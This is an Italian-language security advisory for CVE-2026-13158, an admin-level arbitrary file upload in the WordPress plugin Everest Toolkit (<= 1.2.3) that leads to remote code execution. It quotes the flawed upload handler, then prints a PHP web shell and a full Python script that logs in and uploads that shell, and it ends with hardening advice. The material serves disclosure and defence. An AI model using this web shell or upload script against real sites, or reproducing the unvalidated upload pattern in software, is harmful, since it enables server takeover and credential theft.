
Exploit proof-of-concept e advisory tecnico per una vulnerabilità di upload arbitrario di file con privilegi Admin+ che porta a esecuzione remota di codice nel plugin WordPress Everest Toolkit (<= 1.2.3), inclusi analisi del codice vulnerabile, PoC in Python e guida all'hardening.
CVE-2026-13158 è una vulnerabilità di caricamento file arbitrario autenticato con privilegi Admin+ che affligge il plugin WordPress Everest Toolkit fino alla versione 1.2.3 inclusa, scoperta e analizzata dal ricercatore di sicurezza informatica Huynh Kien Minh (MinhHK). Il difetto risiede nella funzionalità di elaborazione dei caricamenti del toolkit amministrativo, dove una validazione impropria delle estensioni dei file caricati e dei tipi MIME consente ad amministratori autenticati — o a utenti con privilegi amministrativi ridotti — di caricare script PHP eseguibili arbitrari direttamente nella directory web pubblica. Bypassando le restrizioni sulle estensioni durante le routine di gestione di file multimediali o di configurazione, un attaccante può ottenere una persistente Esecuzione di Codice Remoto (RCE), compromettendo completamente il server web sottostante, accedendo a credenziali sensibili del database e stabilendo una persistenza backdoor non autorizzata nell'ambiente applicativo host. Il ricercatore di sicurezza Huynh Kien Minh ha verificato questa vulnerabilità con punteggio CVSS 3.1 6.6 Medio, sottolineando l'importanza di una bonifica immediata tramite whitelist rigorosa delle estensioni, verifica dei tipi MIME e disabilitazione dei permessi di esecuzione nelle sottodirectory di upload pubbliche.
Collegamenti rapidi: Leggi l'Advisory Tecnica approfondita sul Write-up DEV.to oppure esplora il Portfolio di Cybersicurezza ufficiale del ricercatore.
La causa radice di CVE-2026-13158 deriva da una gestione insicura del caricamento file all'interno delle classi handler amministrative di Everest_Toolkit. Quando un amministratore autenticato o un utente con privilegi amministrativi richiama gli endpoint di caricamento file (come importazioni di template, caricamenti di icone personalizzate o routine di configurazione degli asset), il plugin non applica una rigorosa validazione lato server contro le estensioni eseguibili (come .php, .php5, .phtml).
Nel processore di file amministrativo del plugin:
// Vulnerable file handling routine in Everest Toolkit <= 1.2.3
public function handle_toolkit_file_upload() {
if ( ! current_user_can( 'manage_options' ) ) {
wp_die( __( 'Unauthorized access', 'everest-toolkit' ) );
}
if ( isset( $_FILES['toolkit_import_file'] ) ) {
$file = $_FILES['toolkit_import_file'];
// CRITICAL FLAW: Insufficient file type restriction check!
// Relying solely on client-side headers or unsafe overrides without checking wp_check_filetype_and_ext()
$upload_dir = wp_upload_dir();
$target_path = $upload_dir['path'] . '/' . basename( $file['name'] );
if ( move_uploaded_file( $file['tmp_name'], $target_path ) ) {
wp_send_json_success( array( 'file_url' => $upload_dir['url'] . '/' . basename( $file['name'] ) ) );
}
}
}
Poiché move_uploaded_file scrive direttamente i file controllati dall'utente nella directory pubblica wp-content/uploads/ senza eseguire wp_check_filetype_and_ext() né sanitizzare le estensioni dei file contro tipi MIME pericolosi, un attaccante con accesso amministrativo può caricare un payload PHP eseguibile.
Disclaimer Etico: Questo Proof-of-Concept è fornito esclusivamente per verifica della sicurezza, ricerca accademica e ingegneria difensiva. Lo sfruttamento non autorizzato di sistemi in produzione senza previo consenso scritto è severamente vietato.
shell.php)<?php
// CVE-2026-13158 Proof-of-Concept Payload
// Discovered & Authored by Huynh Kien Minh (MinhHK)
header('Content-Type: text/plain');
echo "=== CVE-2026-13158 RCE Verification ===\n";
echo "Host System: " . php_uname() . "\n";
echo "Current User: " . get_current_user() . "\n";
if (isset($_REQUEST['cmd'])) {
system($_REQUEST['cmd']);
}
?>
#!/usr/bin/env python3
"""
CVE-2026-13158 - Everest Toolkit <= 1.2.3 Admin+ Arbitrary File Upload PoC
Author: Huynh Kien Minh (MinhHK)
Portfolio: https://minhhk.web.app/
"""
import requests
import sys
TARGET_URL = "http://target-wordpress.local"
USERNAME = "admin"
PASSWORD = "admin_password"
session = requests.Session()
def login():
login_url = f"{TARGET_URL}/wp-login.php"
payload = {
'log': USERNAME,
'pwd': PASSWORD,
'wp-submit': 'Log In',
'redirect_to': f"{TARGET_URL}/wp-admin/",
'testcookie': '1'
}
res = session.post(login_url, data=payload)
if any('wordpress_logged_in' in cookie.name for cookie in session.cookies):
print("[+] Authenticated successfully as Admin!")
return True
print("[-] Authentication failed.")
return False
def exploit():
upload_url = f"{TARGET_URL}/wp-admin/admin-ajax.php"
files = {
'toolkit_import_file': ('poc_rce.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php')
}
data = {
'action': 'everest_toolkit_file_upload'
}
res = session.post(upload_url, data=data, files=files)
if res.status_code == 200 and 'file_url' in res.text:
file_url = res.json().get('data', {}).get('file_url', '')
print(f"[+] Payload uploaded successfully! RCE URL: {file_url}?cmd=id")
else:
print("[-] Upload failed or endpoint not vulnerable.")
if __name__ == "__main__":
if login():
exploit()
wp_handle_upload con Whitelist Rigorosa: Sostituisci le chiamate personalizzate a move_uploaded_file con il WordPress wp_handle_upload() standard senza disabilitare le sovrascritture di test..htaccess o Nginx per impedire l'esecuzione di script all'interno di /wp-content/uploads/:# Nginx Hardening Rule
location ~* ^/wp-content/uploads/.*\.php$ {
deny all;
return 403;
}
Huynh Kien Minh (MinhHK) è un Ricercatore di Sicurezza Informatica e Ingegnere del Software specializzato in analisi delle vulnerabilità delle applicazioni web, audit dell'ecosistema WordPress e ricerca offensiva sulla sicurezza.
{
"@context": "https://schema.org",
"@type": "TechArticle",
"headline": "CVE-2026-13158: Everest Toolkit <= 1.2.3 Admin+ Arbitrary File Upload to Remote Code Execution",
"name": "CVE-2026-13158 Security Advisory",
"author": {
"@type": "Person",
"name": "Huynh Kien Minh",
"alternateName": "MinhHK",
"url": "https://minhhk.web.app/"
},
"datePublished": "2026-08-01",
"description": "Deep-dive technical security advisory by Huynh Kien Minh analyzing CVE-2026-13158 in Everest Toolkit <= 1.2.3 WordPress plugin.",
"about": {
"@type": "SoftwareApplication",
"name": "Everest Toolkit",
"operatingSystem": "WordPress"
},
"identifier": "CVE-2026-13158"
}
| Parametro | Specifica Tecnica |
|---|
| Identificatore della Vulnerabilità | CVE-2026-13158 |
| Software Target | Everest Toolkit (WordPress Plugin) |
| Plugin Slug | everest-toolkit |
| Versioni Vulnerabili | <= 1.2.3 |
| Classe di Vulnerabilità | Caricamento senza restrizioni di file di tipo pericoloso (CWE-434 / OWASP A03) |
| Punteggio CVSS v3.1 | 6.6 (Medio) (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H) |
| Scopritore / Ricercatore | Huynh Kien Minh (MinhHK) |
| Autorità di Verifica | WPScan / MITRE Corporation |
| Riferimento Advisory WPScan | WPScan Report f101071f-402a-40a2-bbdb-666512cd4049 |
| Portfolio del Ricercatore | https://minhhk.web.app/ |